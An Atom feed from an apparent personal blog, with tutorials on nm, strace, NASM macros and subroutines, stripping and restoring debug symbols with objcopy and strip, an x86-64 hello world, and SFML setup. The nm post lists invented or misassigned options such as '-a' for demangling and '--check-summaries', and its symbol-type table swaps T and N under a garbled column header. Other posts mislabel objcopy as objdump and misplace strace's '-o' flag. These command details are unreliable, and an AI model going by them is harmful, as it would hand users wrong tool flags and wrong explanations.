Personal BlogZola2024-07-18T00:00:00+00:00https://blog.vishalrashmika.com/atom.xmlInspecting Debug Symbols with the nm Utility2024-07-18T00:00:00+00:002024-07-18T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/inspecting-symbols-using-nm/<p>When debugging a program, it’s often necessary to understand the layout of the program’s memory and the relationships between different code segments. The <code>nm</code> utility is a powerful tool that allows you to inspect the debug symbols of an executable or object file, giving you valuable insights into the program’s internal workings.</p>
<h2 id="what-is-nm">What is nm?</h2>
<p><code>nm</code> is a command-line utility that stands for “Name Manager”. It’s part of the GNU Binutils package and is commonly used to display information about the symbols in an object file or executable. The <code>nm</code> utility can be used to inspect the symbol table of a file, which contains information about the names, addresses, and types of variables, functions, and labels defined in the file.</p>
<p>Basic Syntax</p>
<p>The basic syntax for using nm is as follows:</p>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">nm [options] filename
</code></pre>
<p>Where file is the name of the executable or object file you want to inspect. You can specify multiple files by separating them with spaces.</p>
<h3 id="common-options">Common Options</h3>
<p>Here are some common options you can use with nm:</p>
<ul>
<li><code>-a</code> or <code>--demangle</code> : Demangles C++ symbol names.</li>
<li><code>-C</code> or <code>--check-summaries</code> : Displays summary information for each section.</li>
<li><code>-D</code> or <code>--dynamic-relocs</code> : Displays dynamic relocations.</li>
<li><code>-l</code> or <code>--line-numbers</code> : Displays line numbers for each symbol.</li>
<li><code>-n</code> or <code>--numeric-sort</code> : Sorts symbols numerically by value.</li>
<li><code>-p</code> or <code>--public-only</code> : Displays only public symbols.</li>
<li><code>-r</code> or <code>--reverse-sort</code> : Sorts symbols in reverse order.</li>
<li><code>-S</code> or <code>--symbolic</code> : Displays symbolic information only.</li>
<li><code>-t</code> or <code>--target=<target></code> : Specifies the target format (e.g. elf32, elf64, etc.).</li>
</ul>
<h3 id="symbol-types">Symbol types</h3>
<table><thead><tr><th style="text-align: left">Symbol Type</th><th style="text-align: left">awdadawdawdawd</th></tr></thead><tbody>
<tr><td style="text-align: left">A</td><td style="text-align: left">Absolute Symbol</td></tr>
<tr><td style="text-align: left">B</td><td style="text-align: left">In the Uninitialized Data Section (BSS)</td></tr>
<tr><td style="text-align: left">D</td><td style="text-align: left">In the Initialized Data Section</td></tr>
<tr><td style="text-align: left">T</td><td style="text-align: left">Debugging Symbol</td></tr>
<tr><td style="text-align: left">N</td><td style="text-align: left">In the Text Section</td></tr>
<tr><td style="text-align: left">U</td><td style="text-align: left">Symbol Undefined right now</td></tr>
</tbody></table>
<ul>
<li>Lower case symbols are Local symbols</li>
<li>Upper case sybols is External symbols</li>
</ul>
<blockquote>
<p>For more information see the <a rel="noopener" target="_blank" href="https://sourceware.org/binutils/docs/binutils/nm.html">manual of NM</a></p>
</blockquote>
<h2 id="example-usage">Example Usage</h2>
<p>Let’s use the nm utility to inspect a simple C program called hello.c. First, we’ll compile the program using gcc:</p>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">gcc -ggdb hello.c -o hello_debug
</code></pre>
<p>Now, let’s use nm to display a list of all symbols in the object file:</p>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">nm ./hello_debug
</code></pre>
<p>This will produce a list of symbols in the format:</p>
<p><img src="https://i.imgur.com/Cvu4911.png" alt="" /></p>
<p>Here, we see a mix of global variables, functions, and labels. The T, D, and U prefixes indicate the type of symbol</p>
<ul>
<li><code>T</code>: Global variable (Initialized)</li>
<li><code>D</code>: Global variable (Uninitialized)</li>
<li><code>U</code>: External reference</li>
</ul>
<h4 id="nm-n-display-in-sorted-order">nm -n … (Display in Sorted Order)</h4>
<blockquote>
<p>It will sort using the virtual Addresses</p>
</blockquote>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">nm -n hello_debug
</code></pre>
<p><img src="https://i.imgur.com/vrnloWX.png" alt="" /></p>
<h4 id="nm-g-list-external-symbols">nm -g (List External Symbols)</h4>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">nm -g hello_debug
</code></pre>
<p><img src="https://i.imgur.com/6iRcrD8.png" alt="" /></p>
<h4 id="nm-s-display-size">nm -S (display Size)</h4>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">nm -S hello_debug
</code></pre>
<p><img src="https://i.imgur.com/EO4kLk0.png" alt="" /></p>
<h3 id="demo">Demo</h3>
<script src="https://asciinema.org/a/t9ISUBmxidpgMhfOyrJJFucRb.js" id="asciicast-t9ISUBmxidpgMhfOyrJJFucRb" async="true"></script>
<h1 id="conclusion">Conclusion</h1>
<p>The nm utility is a powerful tool for inspecting debug symbols in executables and object files. By using various options and flags, you can customize the output to suit your needs. Whether you’re debugging a complex program or simply trying to understand how a library works, nm is an essential tool to have in your toolkit.</p>
Syscall trace with strace2024-07-18T00:00:00+00:002024-07-18T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/syscall-trace-with-strace/<p>One of the most effective tools for understanding system behavior is the <code>strace</code> command, which allows you to trace the system calls made by a process. In this blog post, we’ll explore the basics of system call tracing with <code>strace</code> and demonstrate its capabilities.</p>
<h2 id="what-is-system-call-tracing">What is System Call Tracing?</h2>
<p>System call tracing is a process of monitoring and analyzing the system calls made by a process. System calls are the interfaces between user-space applications and the kernel, which provide a way for applications to interact with the operating system. By tracing system calls, you can gain insights into how a process interacts with the kernel, identify performance bottlenecks, and troubleshoot issues.</p>
<h2 id="installing-strace">Installing Strace</h2>
<p>Strace is available on most Linux distributions and can be installed using the package manager. On Ubuntu-based systems, you can install it using the following command:</p>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">sudo apt-get install strace
</code></pre>
<p>On RPM-based systems like CentOS, you can install it using:</p>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">sudo yum install strace
</code></pre>
<h2 id="basic-usage">Basic Usage:</h2>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">strace
</code></pre>
<script src="https://asciinema.org/a/Gx2KgdOAE0GiSU97YXfUFV4Ts.js" id="asciicast-Gx2KgdOAE0GiSU97YXfUFV4Ts" async="true"></script>
<h2 id="common-options-and-filters">Common Options and Filters</h2>
<ul>
<li><code>-r</code>: Relative timestamping</li>
<li><code>-t</code>: Timestamp the actions</li>
<li><code>-o</code>: Specify an output file or pipe for tracing output</li>
<li><code>-p</code>: Trace a specific process by PID</li>
<li><code>-f</code>: Follow forks and execs (default is not to follow)</li>
<li><code>-F</code>: Follow forks and execs recursively</li>
<li><code>-v</code>: Increase verbosity (print more information)</li>
<li><code>-t</code>: Print timestamps for each system call</li>
</ul>
<h3 id="using-r-relative-timestamping">using -r (Relative timestamping)</h3>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">strace -r ./addsub_debug 2 4 -o strace_output
</code></pre>
<h3 id="using-t-timestamp-the-actions">using -t (Timestamp the actions)</h3>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">strace -t ./addsub_debug 2 4 -o strace_output
</code></pre>
<h3 id="using-o-creating-an-output-file-with-the-result">using -o (Creating an output file with the result)</h3>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">strace ./addsub_debug 2 4 -o strace_output
</code></pre>
<h2 id="filtering">Filtering</h2>
<p>filtering the output to a specific syscall</p>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">strace -e write ./addsub_debug 2 4
</code></pre>
<p>in the above command I have filtered <code>write</code> syscalls</p>
<script src="https://asciinema.org/a/Ov90XpTkCo5SUkih6gQJPfpJt.js" id="asciicast-Ov90XpTkCo5SUkih6gQJPfpJt" async="true"></script>
<h2 id="attaching-to-a-running-process">Attaching to a running process</h2>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">strace -p <process_id>
</code></pre>
<script src="https://asciinema.org/a/20n67d8kDcfgjbeiLfSOTR6kg.js" id="asciicast-20n67d8kDcfgjbeiLfSOTR6kg" async="true"></script>
<h2 id="statistics-on-syscalls">Statistics on syscalls</h2>
<p>This allows to see the statistics of the syscalls</p>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">strace -c addsub 2 2
</code></pre>
<script src="https://asciinema.org/a/NO8Sr0aPCGHAWoVZ23YRYd9w8.js" id="asciicast-NO8Sr0aPCGHAWoVZ23YRYd9w8" async="true"></script>
<h2 id="use-cases-for-system-call-tracing">Use Cases for System Call Tracing</h2>
<p>System call tracing is useful in various scenarios:</p>
<ul>
<li><code>Troubleshooting</code>: Identify issues related to system calls, such as socket errors or file I/O problems.</li>
<li><code>Performance analysis</code>: Understand where bottlenecks occur in your application’s interaction with the kernel.</li>
<li><code>Security auditing</code>: Monitor suspicious system calls made by malicious processes or detect potential security vulnerabilities.</li>
<li><code>Debugging</code>: Identify issues related to library or application behavior by tracing their interactions with the kernel.</li>
</ul>
<h2 id="conclusion">Conclusion</h2>
<p>Strace is a powerful tool for understanding system behavior and troubleshooting issues related to system calls. By tracing system calls, you can gain valuable insights into how your applications interact with the kernel and identify potential problems early on. With its flexibility and customization options, strace is an essential tool in any Linux administrator’s toolkit.</p>
<h2 id="additional-resources">Additional Resources</h2>
<p>For more information on strace, refer to its man page or online documentation:</p>
<ul>
<li>man strace</li>
</ul>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">man strace
</code></pre>
<ul>
<li><a rel="noopener" target="_blank" href="https://strace.io/">Strace documentation</a></li>
</ul>
<p>I hope this blog post has provided you with a solid introduction to system call tracing with strace.</p>
Macros And Defining Values With EQU In Assembly2024-07-09T00:00:00+00:002024-07-09T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/macros-and-defining-values-with-equ-in-nasm/<h2 id="macros">Macros</h2>
<p>A macro is a single instruction that expands into a predefined set of instructions to perform a particular task.</p>
<h3 id="why-use-macros">Why Use Macros?</h3>
<p>Imagine writing the same sequence of instructions for different memory locations or registers. Macros eliminate this redundancy, making your code cleaner and easier to maintain. Here are some key advantages of macros:</p>
<ul>
<li>Reduced Code Size: By using a single macro for repeated code blocks, you shrink your assembly file size.</li>
<li>Improved Readability: Macros enhance code readability by encapsulating complex operations under meaningful names.</li>
<li>Error Reduction: Defining a macro ensures consistency and reduces the risk of typos in repeated code sections.</li>
<li>Flexibility: Macros allow for parameterized instructions, adapting the code based on arguments passed during invocation. </li>
</ul>
<h3 id="defining-macros">Defining Macros</h3>
<h4 id="1-single-line-macros">1. Single Line Macros</h4>
<p>Defined using the <code>%define</code> directive, these macros expand to a single instruction or expression when used.</p>
<pre data-lang="assembly" class="language-assembly "><code class="language-assembly" data-lang="assembly">%define SQUARE(x) ((x) * (x))
mov eax, SQUARE(5) ; Expands to mov eax, 25
</code></pre>
<h4 id="2-multi-line-macros">2. Multi-Line Macros</h4>
<p>Defined with <code>%macro</code> and <code>%endmacro</code> directives, these macros encompass a block of instructions that execute when called.</p>
<pre data-lang="assembly" class="language-assembly "><code class="language-assembly" data-lang="assembly">%macro exit 0
mov rax, SYS_EXIT
mov rdi, 0
syscall
%endmacro
</code></pre>
<h5 id="structure">structure:</h5>
<pre><code>%macro <name> <argc>
...
<macro body>
...
%endmacro
</code></pre>
<h5 id="macro-parameters">Macro Parameters:</h5>
<blockquote>
<p>Both types of macros can accept parameters, allowing you to customize the code during invocation. Parameters are represented by dollar signs <code>($)</code></p>
</blockquote>
<h2 id="defining-values-with-equ">Defining Values With EQU</h2>
<p>The <code>EQU</code> directive essentially assigns a symbolic name (label) to a constant value. This value can be a number, a string, or even an expression. Unlike data directives like DB (define byte) or DW (define word), <code>EQU</code> doesn’t reserve memory space. Instead, it acts as a placeholder,</p>
<h5 id="structure-1">Structure</h5>
<pre><code><name> equ <value>
</code></pre>
<h5 id="demo">Demo:</h5>
<pre data-lang="assembly" class="language-assembly "><code class="language-assembly" data-lang="assembly">SYS_READ equ 0
SYS_WRITE equ 1
SYS_EXIT equ 60
</code></pre>
<h2 id="simple-program-using-macros-and-equ">Simple program using macros and EQU</h2>
<pre data-lang="assembly" class="language-assembly "><code class="language-assembly" data-lang="assembly">STDIN equ 0
STDOUT equ 1
STDERR equ 2
SYS_READ equ 0
SYS_WRITE equ 1
SYS_EXIT equ 60
section .data
digit db 0,10
section .text
global _start
%macro exit 0
mov rax, SYS_EXIT
mov rdi, 0
syscall
%endmacro
%macro printdigit 1
mov rax, %1
call _printraxdigit
%endmacro
_start:
printdigit 49
printdigit 50
exit
_printraxdigit:
;mov rax, 50
mov [digit], al
mov rax, SYS_WRITE
mov rdi, STDOUT
mov rsi, digit
mov rdx, 2
syscall
ret
</code></pre>
Subroutines in Assembly2024-07-09T00:00:00+00:002024-07-09T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/subroutines/<p>x86 assembly unlocks the raw power of your processor. But complex programs need a way to break down tasks into manageable chunks. That’s where subroutines come in, also known as procedures or functions in other high level languages. They introduce modularity, making your code cleaner, reusable, and easier to maintain.</p>
<p>In this post, we’ll dive into the world of subroutines in NASM for 64-bit architectures.</p>
<h2 id="why-subroutines">Why Subroutines?</h2>
<p>Imagine writing the same block of code ten times. Yuck! Subroutines let you define a task once and call it whenever needed. This keeps your code concise and eliminates redundancy. They also promote better organization, making complex programs easier to understand and navigate. Debugging becomes a breeze, as you can focus on isolated sections of code.</p>
<h2 id="building-a-subroutine">Building a Subroutine</h2>
<p>Let’s write a subroutine that prints a message to the console. Here’s a basic structure:</p>
<pre data-lang="assembly" class="language-assembly "><code class="language-assembly" data-lang="assembly">section .data
message db "GoodBye!",10
print_salutation:
mov rax,1
mov rdi,1
mov rsi, message
mov rdx, 9
syscall ;calling the system call for printing
ret ;return from the subroutine
</code></pre>
<h2 id="calling-the-subroutine">Calling the Subroutine</h2>
<p>Now, let’s call our print_message subroutine from our main program:</p>
<pre data-lang="assembly" class="language-assembly "><code class="language-assembly" data-lang="assembly">; ...
call print_salutation ; Calling the subroutine
; ... (more main program code)
</code></pre>
<p>The call instruction jumps to the subroutine’s starting address. When the subroutine finishes (using ret), control returns to the instruction after the call.</p>
<h2 id="full-program">Full Program</h2>
<pre data-lang="assembly" class="language-assembly "><code class="language-assembly" data-lang="assembly">section .data
text db "Hello, World!",10
message db "GoodBye!",10
section .text
global _start
_start:
mov rax, 1
mov rdi, 1
mov rsi, text
mov rdx, 14
syscall
call print_salutation
jmp print_exit
print_salutation:
mov rax,1
mov rdi,1
mov rsi, message
mov rdx, 9
syscall
ret
print_exit:
mov rax, 60
mov rdi, 0
syscall
</code></pre>
<p>Remember: This is a simplified overview. For detailed instruction explanations and advanced topics, refer to the NASM documentation and online resources. Happy hacking!</p>
Adding Debug Symbols to a Binary with objcopy and GDB2024-07-08T00:00:00+00:002024-07-08T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/adding-debug-symbols/<p>In the previous blog post I discussed about removing symbol files from binaries. In this blog post I will discuss about how to add/attach a extracted symbol file to a stripped binary. </p>
<p>There are two methods that we can use:
1. Add it to the binary itself using <code>objcopy</code>
2. Load the symbol file within <code>GDB</code></p>
<h2 id="why-do-we-need-symbol-files">Why do we need symbol files ?</h2>
<p>In the software development world, sometimes you need to peer behind the curtain. When a program misbehaves, understanding its inner workings becomes crucial. This is where debug symbols come in – they act as a map, revealing function names, variable locations, and other valuable information that debuggers like GDB can use to navigate the program’s code.</p>
<p>However, by default, binaries often ship without these symbols. This keeps the file size down and protects sensitive information. But for development and debugging purposes, adding debug symbols back can be a lifesaver. Here’s where <code>objcopy</code>, a versatile tool from the <a rel="noopener" target="_blank" href="https://www.gnu.org/software/binutils/">GNU Binutils</a> package, enters the scene.</p>
<h2 id="1-adding-to-the-binary-itself">1. Adding to the binary itself</h2>
<p>Imagine you have a stripped binary named myprogram. To add debug symbols from a separate debug symbol file (debug_symbols.dbg), you’d use the following command:</p>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">objcopy --add-gnu-debuglink=debug_symbols.dbg myprogram myprogram_with_symbols
</code></pre>
<p>This command does three things:</p>
<ol>
<li><code>--add-gnu-debuglink</code> : This flag tells objcopy to add debug information.</li>
<li><code>debug_symbols.dbg</code> : This specifies the file containing the debug symbols.</li>
<li><code>myprogram</code> <code>myprogram_with_symbols</code> : These indicates the stripped binary to be modified and the resulting file name with debug symbols respectively.</li>
</ol>
<p><code>objcopy</code> offers more control over the debug symbol addition process. You can explore the man page for objcopy to discover options like -<code>-only-keep-debug</code> for creating a new binary containing only the symbols, and <code>--extract-symbol</code> for extracting specific symbols from an existing binary.</p>
<p>By mastering objcopy for adding debug symbols, you can unlock the secrets hidden within binaries, enabling a more efficient and insightful debugging experience.</p>
<h2 id="2-using-gdb">2. Using GDB</h2>
<p>Debuggers like <a rel="noopener" target="_blank" href="https://www.sourceware.org/gdb/">GDB</a> are powerful tools for investigating program misbehavior. However, their effectiveness heavily relies on the presence of debug symbols in the binary. These symbols provide crucial information about functions, variables, and source code, allowing GDB to pinpoint issues with greater accuracy.</p>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">symbol-file ./debug_symbols.dbg
</code></pre>
Ripping and Stripping Debug Symbols with Binutil tools2024-07-08T00:00:00+00:002024-07-08T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/ripping-and-stripping-debug-symbols/<p>In the world of software development, compiled binaries often come packed debug symbols. These symbols provide valuable information for debugging purposes, like function names and variable locations and in some scenarios even the source code. But for final deployments, they’re unnecessary and can significantly increase file size and security risks. </p>
<p>This is where binutil tools comes in, the <a rel="noopener" target="_blank" href="https://www.gnu.org/software/binutils/">GNU Binutils</a> are a collection of programming tools maintained by the GNU Project for working with executable code including assembly, linking and many other development operations. This collection contains tools like:</p>
<ul>
<li>ld</li>
<li>objdump</li>
<li>strip</li>
<li>objcopy</li>
<li>as</li>
</ul>
<p>In this post, we’ll explore how to use <code>objcopy</code> and <code>strip</code> tools to achieve our two key goals:</p>
<h2 id="what-is-objcopy-and-strip">What is objcopy and strip?</h2>
<ul>
<li>
<p><code>objdump</code> is a tool in the GNU Binutils package for manipulating object files. It can be used to copy object files, removing unnecessary sections like debug symbols to create leaner binaries. It can also extract specific sections, like debug information only, into separate files for potential debugging needs.</p>
</li>
<li>
<p><code>strip</code> is another tool in the Binutils package, it is like a file slimmer for executables. It removes debug symbols, information helpful for programmers but not needed for the program to run. </p>
</li>
</ul>
<h2 id="difference-between-ripping-and-stripping">Difference between Ripping and Stripping</h2>
<ul>
<li>Ripping Debug Symbols:
<ul>
<li>Extracting the debug information into a separate file for potential future debugging needs.</li>
</ul>
</li>
<li>Stripping Debug Symbols:
<ul>
<li>Removing unnecessary symbols to create a leaner, more efficient binary.</li>
</ul>
</li>
</ul>
<h2 id="1-ripping-off-debug-symbols-off-a-binary-objcopy">1. Ripping off debug symbols off a binary (objcopy)</h2>
<p>If you want to keep the debug information for potential future use, you can extract it into a separate file using the <code>--only-keep-debug</code> flag</p>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">objcopy --only-keep-debug myprogram debug_symbols.dbg
</code></pre>
<p>This creates a file named debug_symbols.dbg that contains only the stripped debug symbols. After ripping the symbol file from the binary the symbol file is still in the binary we only extracted a copy of the symbol file.</p>
<h5 id="demo">Demo:</h5>
<script src="https://asciinema.org/a/7qLtY6WkrBASmkX15apTVK1l2.js" id="asciicast-7qLtY6WkrBASmkX15apTVK1l2" async="true"></script>
<h2 id="2-stripping-off-debug-symbols-off-a-binary-strip">2. Stripping off debug symbols off a binary (strip)</h2>
<p>Stripping will remove the symbols from the binary without taking a copy of it</p>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">strip --strip-debug myprogram -o myprogram_without_symbols
</code></pre>
<h5 id="demo-1">Demo:</h5>
<script src="https://asciinema.org/a/Klk4JIW78y7BLHLr86IIY2Ckz.js" id="asciicast-Klk4JIW78y7BLHLr86IIY2Ckz" async="true"></script>
<p>In the above demo we can see that even though we stripped debug symbols, some information like function names are still in the non-debugging symbols section. </p>
<p><img src="https://i.imgur.com/62InpK7.png" alt="" /></p>
<p>In order to get rid of that info too, we can strip off everything including default sysmbols except the necessary things to load a binary using the <code>--strip-unneeded</code> flag.</p>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">strip --strip-debug --strip-unneeded myprogram -o myprogram_without_any_symbols
</code></pre>
<h5 id="demo-2">Demo:</h5>
<script src="https://asciinema.org/a/W6CPY7UsHYy76gOeVlHiBQvRA.js" id="asciicast-W6CPY7UsHYy76gOeVlHiBQvRA" async="true"></script>
<p><img src="https://i.imgur.com/kMqzSkT.png" alt="" /></p>
<h3 id="benefits-of-stripping">Benefits of Stripping:</h3>
<p>There are several advantages to stripping debug symbols:</p>
<ul>
<li>Reduced File Size: Smaller binaries mean faster downloads, less storage consumption, and potentially better performance.</li>
<li>Improved Security: Stripped binaries offer a slight layer of protection against reverse engineering efforts that rely on symbol information.</li>
</ul>
Disecting a Simple x86-64 bit Assembly Hello World Program2024-07-06T00:00:00+00:002024-07-06T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/breaking-down-asm-helloworld/<p>Today’s post takes a fun detour into the world of x86-64 assembly language! We’ll dissect a short program that accomplishes a familiar task: printing “Hello, World!” on the screen. While assembly might seem intimidating, understanding its basic structure can be surprisingly rewarding.</p>
<h5 id="x86-64-bit-assembly-code-for-printing-hello-world">x86-64 bit assembly code for printing “Hello, World!”:</h5>
<pre data-lang="nasm" class="language-nasm "><code class="language-nasm" data-lang="nasm">' filename :- helloworld.asm
section .data
message db "Hello, World!",10
section .text
global _start
_start:
mov rax, 1
mov rdi, 1
mov rsi, message
mov rdx, 14
syscall
mov rax, 60
mov rdi, 0
syscall
</code></pre>
<h5 id="assembling-instructions">Assembling Instructions</h5>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">nasm -felf64 helloworld.asm
</code></pre>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">ld helloworld.o -o helloworld
</code></pre>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">./helloworld
</code></pre>
<h1 id="let-s-break-down-the-code-step-by-step">Let’s break down the code step-by-step:</h1>
<h4 id="1-data-section-section-data">1. Data Section (section .data):</h4>
<ul>
<li>This section stores data used by the program. Here, we have a line that defines a byte array <code>db</code> named <code>message</code> containing the string <code>"Hello, World!"</code>. The <code>10</code> at the end specifies a <code>newline (\n)</code>.</li>
</ul>
<h4 id="2-text-section-section-text">2. Text Section (section .text):</h4>
<ul>
<li>This section holds the program’s instructions. The line <code>global _start</code> declares the entry point of our program, which is the <code>_start</code> label.</li>
</ul>
<h4 id="3-the-start-function">3. The _start Function:</h4>
<ul>
<li>
<p>This is where the program execution begins. Each instruction line manipulates registers, which are the CPU’s internal storage units.</p>
</li>
<li>
<p><code>mov rax, 1</code> : moves the value 1 into the rax register. This value serves as a system call number, indicating what operation the program wants the operating system to perform. In this case, 1 stands for sys_write.</p>
</li>
<li>
<p><code>mov rdi, 1</code> : moves the value 1 into the rdi register. This register often holds the file descriptor for system calls like sys_write. Here, 1 typically refers to standard output (the console).</p>
</li>
<li>
<p><code>mov rsi, message</code> : moves the address of the message array (stored in memory) into the rsi register. This tells the system call where to find the data to be written.</p>
</li>
<li>
<p><code>mov rdx, 14</code> : moves the value 14 into the rdx register. This register usually specifies the length of the data to be written. Here, 14 is the size of the message array (including the newline character).</p>
</li>
<li>
<p><code>syscall</code> : triggers a system call. The CPU intercepts execution and calls the operating system with the information provided in the registers (rax, rdi, rsi, and rdx). In this case, the system call writes “Hello, World!” to the console.</p>
</li>
<li>
<p>mov rax, 60 moves the value 60 into the rax register. This system call number signifies sys_exit.</p>
</li>
<li>
<p>mov rdi, 0 moves the value 0 into the rdi register. This argument often indicates the exit status of the program. Here, 0 signifies successful execution.</p>
</li>
<li>
<p>syscall triggers another system call, this time telling the operating system the program is finished and should exit.</p>
</li>
</ul>
<h1 id="putting-it-together">Putting it Together:</h1>
<p>This program demonstrates how low-level assembly instructions interact with the operating system to perform a basic task. By understanding these fundamental steps, you gain a deeper appreciation for how computers execute programs!</p>
<p>Additional Notes:</p>
<p>This is a simplified explanation. x86-64 has a vast instruction set, and there are often multiple ways to achieve the same outcome.
Assembly language is generally less common than higher-level languages like C++, but it’s still used in specific situations where fine-grained control over hardware is necessary.</p>
<p>I hope this explanation empowers you to explore the fascinating world of assembly language further! Feel free to ask any questions in the comments below.</p>
Debugging and Symbol Files2024-06-30T00:00:00+00:002024-06-30T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/debugging-and-symbol-files/<h2 id="understanding-the-basics">Understanding the Basics</h2>
<p>As software developers, we’ve all been there - staring at a pesky error message or a mysterious crash, trying to figure out what’s gone wrong with our code. Debugging is an essential part of the software development process, and in this blog post, we’ll dive into the world of debugging and symbol files.</p>
<h2 id="what-is-debugging">What is Debugging?</h2>
<p>Debugging, simply put, is the art and science of finding and eliminating bugs in software. Bugs can range from simple functional issues to security vulnerabilities, and as developers, it’s our responsibility to identify and fix them. But before we can start fixing bugs, we need to understand what debugging is all about.</p>
<h2 id="what-is-a-debugger">What is a Debugger?</h2>
<p>A debugger is a program that analyzes and debugs other programs. There are many different types of debuggers available, each with its own strengths and weaknesses.
Some popular debuggers include, </p>
<ul>
<li>GNU Debugger (GDB)</li>
<li>Intel Debugger (IDB)</li>
<li>SoftIce (kernel mode debugger) </li>
<li>WinDBG.</li>
</ul>
<h2 id="what-are-debugger-symbols">What are Debugger Symbols?</h2>
<p>Debugger symbols are information about variables, functions, and other aspects of a binary that can be read by a debugger. When a debugger has access to these symbols, it can understand the binary much better, making it easier to debug. Debugger symbols can be part of the binary itself or stored in a separate file.</p>
<h2 id="debugger-symbol-files">Debugger Symbol Files</h2>
<p>Debug symbol files need to be explicitly mentioned at compile time. There are several types of debug symbol files, including </p>
<ul>
<li>DWARF-2 </li>
<li>COFF</li>
<li>XCOFF</li>
<li>Stabs </li>
</ul>
<p>GCC, a popular compiler, uses the -g option to generate debug symbols, while GCC -ggdb is used for GDB-specific symbols.</p>
<pre><code>gcc -ggdb main.c -o main
</code></pre>
<p>Let’s take a look at an example:</p>
<table><thead><tr><th style="text-align: left">File Without Debug Symbols</th><th style="text-align: left">File With Debug Symbols</th></tr></thead><tbody>
<tr><td style="text-align: left">NAME</td><td style="text-align: left">NAME (Adam)</td></tr>
<tr><td style="text-align: left">AGE</td><td style="text-align: left">AGE (22)</td></tr>
<tr><td style="text-align: left">TOWN</td><td style="text-align: left">TOWN (Alabama)</td></tr>
</tbody></table>
<p>For demonstration purposes I have built 2 different files, one with the debug symbols and another one without the debug symbols.</p>
<table><thead><tr><th style="text-align: center">File Without Debug Symbols</th><th style="text-align: center">File With Debug Symbols</th></tr></thead><tbody>
<tr><td style="text-align: center"><img src="https://i.imgur.com/YLR0WPF.png" alt="" /></td><td style="text-align: center"><img src="https://i.imgur.com/GYyyGi0.png" alt="" /></td></tr>
<tr><td style="text-align: center"><img src="https://i.imgur.com/E7Xy9cv.png" alt="" /></td><td style="text-align: center"><img src="https://i.imgur.com/KHfy5su.png" alt="" /></td></tr>
</tbody></table>
<p>The above examples clearly demonstrate that the file with debug symbols contain more details than the file without the debug symbols.</p>
<p>As you can see, the file without debug symbols lacks information about the variables and functions, making it much harder to debug. On the other hand, the file with debug symbols provides valuable information about the variables and functions, making it easier for the debugger to understand the code.</p>
<h2 id="what-do-the-symbol-files-tell-us">What do the Symbol Files Tell Us?</h2>
<p>Symbol files provide a wealth of information about the code, including:</p>
<ul>
<li>Information about the sources</li>
<li>Information about the variables</li>
<li>Information about scopes</li>
<li>Information about functions</li>
</ul>
<p>By understanding what debugger symbols are and how they work, developers can write better code, identify bugs more easily, and improve their overall debugging experience.</p>
<p>In conclusion, debugging is an essential part of software development, and having a good understanding of debugger symbols is crucial for any developer. By knowing how to work with symbol files and what information they provide, you’ll be well on your way to becoming a master debugger.</p>
Setting up SFML 2.4.1 in Visual Studio 20152024-05-09T00:00:00+00:002024-05-09T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/setting-up-sfml-in-vs-studio-2015/<h2 id="downloading-sfml-2-4-1">Downloading SFML 2.4.1</h2>
<p>First Download the SFML-2.4.1 32-bit file for Visual Studio 2015
<a rel="noopener" target="_blank" href="https://www.sfml-dev.org/download/sfml/2.4.1/">Download Link</a></p>
<p><img src="https://i.imgur.com/NWMoT5n.png" alt="" /></p>
<p>After downloading extract the zip file. Inside it you will be able to find a folder named <code>SFML-2.4.1</code> move that folder to one of your prefered locations, in my case I will move it the my <code>C:\MinGW</code> directory.</p>
<p><img src="https://i.imgur.com/hPtlRZ9.png" alt="" /></p>
<h2 id="setting-up-visual-studio-2015">Setting up visual studio 2015</h2>
<p>Create a new visual c++ win32 console application.</p>
<p><img src="https://i.imgur.com/WnY1FNu.png" alt="" /></p>
<p>In the prompt click next.</p>
<p><img src="https://i.imgur.com/XAPkKFe.png" alt="" /></p>
<p>Tick empty project and click finish to create an empty project.</p>
<p><img src="https://i.imgur.com/0fZ4bY9.png" alt="" /></p>
<p>Navigate to the solution explorer and right click on the project and select properties.</p>
<p><img src="https://i.imgur.com/wBRTUxt.png" alt="" /></p>
<p>In the properties panel make sure you have selected <code>Active(Win32)</code> as your platform and <code>All Configurations</code> for you configuration.</p>
<p><img src="https://i.imgur.com/a8Gpd94.png" alt="" /></p>
<p>Navigate to the <code>VC++ Directories > Include Libraries > Edit</code>.</p>
<p><img src="https://i.imgur.com/cHy892Z.png" alt="" /></p>
<p>In the Include Directories window click add new line and press <code>...</code> to select the directory.</p>
<p><img src="https://i.imgur.com/pRh3slH.png" alt="" /></p>
